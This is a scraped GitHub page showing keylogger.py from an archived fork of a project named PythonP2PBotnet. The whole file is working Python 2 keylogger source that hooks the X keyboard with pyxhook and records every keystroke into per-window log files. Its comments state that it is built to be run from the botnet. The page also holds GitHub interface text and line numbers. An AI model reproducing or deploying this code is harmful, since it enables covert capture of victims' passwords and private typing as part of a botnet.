This repository has been archived by the owner on Feb 24, 2019. It is now read-only.
forked from jhoward321/PythonP2PBotnet
-
Notifications
You must be signed in to change notification settings - Fork 0
/
keylogger.py
81 lines (66 loc) · 1.77 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import pyxhook
import sys
import os
import errno
# This module is a basic keylogging module which will create a log
# for each different window. It uses the pyxhook library to hook into
# X, so this only works on linux machines. It's designed to be run from
# the botnet itself.
path = None
def main():
if (len(sys.argv) < 2):
print "Correct usage is: python keylogger.py [logfile directory]"
sys.exit(1)
path = sys.argv[1]
try:
os.makedirs(path)
except OSError:
if not os.path.isdir(path):
raise
hook = pyxhook.HookManager()
hook.KeyDown = logkey
hook.HookKeyboard()
hook.start()
def run():
path = 'logfolder'
try:
os.makedirs(path)
except OSError:
if not os.path.isdir(path):
raise
hook = pyxhook.HookManager()
hook.KeyDown = logkey
hook.HookKeyboard()
hook.start()
# cleans up some of the log files
def catchSpecial(key):
if key == 'Return':
return '\n'
elif key == 'Shift_R':
return '[R_Shift]'
elif key == 'Shift_L':
return '[L_Shift]'
elif key == 'Control_L':
return '[L_Control]'
elif key == 'Control_R':
return '[R_Control]'
elif key == 'space':
return ' '
elif key == 'Alt_R':
return '[R_Alt]'
elif key == 'Alt_L':
return '[L_Alt]'
elif key == 'Escape':
return '[Escape]'
else:
return key
# This will create a log for each different window so its easier
# to know what program corresponds to what key presses
def logkey(event):
path = sys.argv[1]
logname = path+'/'+str(event.WindowProcName).strip() + ".log"
f = open(logname, 'a')
f.write(catchSpecial(event.Key))
f.close()
if __name__ == '__main__':
main()